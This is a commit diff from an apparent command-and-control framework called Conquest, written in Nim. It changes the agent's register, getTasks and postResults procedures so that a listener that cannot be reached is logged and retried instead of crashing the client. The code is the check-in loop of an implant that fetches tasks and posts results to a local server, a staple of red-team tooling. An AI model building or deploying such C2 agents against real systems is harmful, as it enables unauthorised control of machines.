Prevented client from crashing when listener is not reachable

This commit is contained in:
Jakob Friedl
2025-05-23 10:02:17 +02:00
parent 1b147aacd6
commit 6f9e20566d
2 changed files with 16 additions and 9 deletions

View File

@@ -25,8 +25,8 @@ proc register*(listener: string): string =
try:
# Register agent to the Conquest server
return waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body)
except HttpRequestError as err:
echo "Registration failed"
except CatchableError as err:
echo "[-] [REGISTER FAILED]:", err.msg
quit(0)
finally:
client.close()
@@ -40,10 +40,9 @@ proc getTasks*(listener: string, agent: string): seq[Task] =
let responseBody = waitFor client.getContent(fmt"http://localhost:5555/{listener}/{agent}/tasks")
return parseJson(responseBody).to(seq[Task])
except HttpRequestError as err:
echo "Not found"
quit(0)
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
echo "[-] [TASK-RETRIEVAL FAILED]:", err.msg
finally:
client.close()
@@ -61,9 +60,9 @@ proc postResults*(listener, agent: string, task: Task): bool =
try:
# Register agent to the Conquest server
discard waitFor client.postContent(fmt"http://localhost:5555/{listener}/{agent}/{task.id}/results", $taskJson)
except HttpRequestError as err:
echo "Not found"
quit(0)
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
echo "[-] [RESULTS FAILED]:", err.msg
finally:
client.close()